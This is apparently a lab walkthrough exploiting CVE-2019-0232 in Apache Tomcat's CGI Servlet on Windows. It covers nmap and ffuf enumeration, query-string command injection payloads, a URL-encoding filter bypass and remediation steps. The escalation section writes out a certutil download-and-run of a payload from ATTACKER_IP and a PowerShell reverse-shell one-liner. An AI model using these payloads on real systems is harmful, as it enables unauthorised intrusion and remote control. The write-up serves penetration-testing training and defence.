Tomcat CGI — CVE-2019-0232
Vulnerability overview
CVE-2019-0232 is a critical remote code execution vulnerability in Apache Tomcat’s CGI Servlet on Windows systems only. It arises from a failure to properly validate input passed to CGI scripts when the enableCmdLineArguments feature is enabled — allowing an attacker to inject OS commands via the query string using the Windows batch command separator &.
| Detail | Value |
|---|---|
| CVE | CVE-2019-0232 |
| Severity | Critical |
| Platform | Windows only |
| Affected versions | 9.0.0.M1–9.0.17, 8.5.0–8.5.39, 7.0.0–7.0.93 |
| Requirement | enableCmdLineArguments=true in CGI Servlet config |
| Impact | Unauthenticated remote code execution |
Background — CGI Servlet
The CGI Servlet is a Tomcat component that allows web servers to invoke external programs (CGI scripts) outside the JVM. Scripts are typically written in Perl, Python, Bash, or batch. The servlet receives an HTTP request, runs the corresponding script, and returns its output.
enableCmdLineArguments controls whether the query string is parsed and passed to the CGI script as command-line arguments. When enabled, a request to:
/cgi/script.bat?action=search&query=foo
…causes Tomcat to invoke script.bat with action=search and query=foo as arguments.
The flaw: On Windows, Tomcat failed to sanitize the query string before constructing the command line. Because Windows uses & as a command separator in cmd.exe, an attacker can append arbitrary commands:
/cgi/welcome.bat?&dir
This causes cmd.exe to run welcome.bat and then dir.
Enumeration
1. Identify Tomcat version with Nmap
nmap -p- -sC -Pn 10.129.204.227 --open
Key findings from output:
8009/tcp open ajp13
8080/tcp open http-proxy Apache Tomcat/9.0.17
Tomcat 9.0.17 on port 8080 falls within the affected version range. Port 8009 (AJP) also present.
2. Find CGI scripts with ffuf
The default CGI directory in Tomcat is /cgi. Fuzz for both .cmd and .bat extensions on Windows targets.
Fuzz for .cmd files:
ffuf -w /usr/share/dirb/wordlists/common.txt \
-u http://10.129.204.227:8080/cgi/FUZZ.cmd
Fuzz for .bat files:
ffuf -w /usr/share/dirb/wordlists/common.txt \
-u http://10.129.204.227:8080/cgi/FUZZ.bat
A 200 response on welcome confirms the script exists:
[Status: 200, Size: 81, Words: 14, Lines: 2, Duration: 234ms]
* FUZZ: welcome
Browsing to http://10.129.204.227:8080/cgi/welcome.bat:
Welcome to CGI, this section is not functional yet. Please return to home page.
Exploitation
Step 1 — Confirm command injection
Append &dir via the query string using the & batch separator:
http://10.129.204.227:8080/cgi/welcome.bat?&dir
If directory listing output is returned, command injection is confirmed.
Step 2 — Enumerate environment variables
Run set to retrieve all CGI environment variables. This reveals critical details — particularly whether PATH is set:
http://10.129.204.227:8080/cgi/welcome.bat?&set
Key variables from the output:
| Variable | Value / Significance |
|---|---|
COMSPEC | C:\Windows\system32\cmd.exe — the shell being used |
PATHEXT | .COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC |
PATH | Unset — executables must be referenced by full path |
SCRIPT_FILENAME | Full path to the CGI script on disk |
REMOTE_ADDR | Attacker’s IP as seen by the server |
Key finding:
PATHis unset in the CGI environment. All commands must be invoked with their full path (e.g.,C:\Windows\System32\whoami.exe).
Step 3 — Execute commands with full path
http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe
This will trigger Tomcat’s input validation filter which blocks special characters (including backslashes and colons) using a regex patch.
Step 4 — Bypass the filter with URL encoding
URL-encode the payload to bypass the character filter:
| Character | URL-encoded |
|---|---|
: | %3A |
\ | %5C |
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
This returns the output of whoami, confirming unauthenticated RCE.
URL encoding reference for common characters
| Character | Encoded |
|---|---|
: | %3A |
\ | %5C |
/ | %2F |
(space) | %20 or + |
& | %26 |
= | %3D |
Escalating to a reverse shell
With confirmed RCE, use certutil or powershell (both with full paths) to download and execute a reverse shell:
# Download a payload via certutil
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Ccertutil.exe+-urlcache+-f+http%3A%2F%2FATTACKER_IP%2Fshell.exe+C%3A%5CWindows%5CTemp%5Cshell.exe
# Execute the downloaded payload
http://10.129.204.227:8080/cgi/welcome.bat?&C%3A%5CWindows%5CTemp%5Cshell.exe
Or invoke PowerShell directly for a one-liner reverse shell:
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5CWindowsPowerShell%5Cv1.0%5Cpowershell.exe+-nop+-w+hidden+-c+"$c=New-Object+Net.Sockets.TCPClient('ATTACKER_IP',443)..."
Remediation
- Upgrade to Tomcat 9.0.18+, 8.5.40+, or 7.0.94+
- Set
enableCmdLineArguments=falsein the CGI Servlet configuration (web.xml) - Disable the CGI Servlet entirely if not required
- Avoid running Tomcat on Windows where possible
Summary
| Step | Action |
|---|---|
| 1 | Identify Tomcat version ≤ 9.0.17 / 8.5.39 / 7.0.93 on Windows via Nmap |
| 2 | Fuzz /cgi/ for .bat and .cmd scripts with ffuf |
| 3 | Confirm injection with ?&dir |
| 4 | Enumerate environment with ?&set — note that PATH is unset |
| 5 | Execute commands using full paths (c:\windows\system32\whoami.exe) |
| 6 | URL-encode the payload to bypass the character filter |
| 7 | Escalate to reverse shell via certutil download or PowerShell one-liner |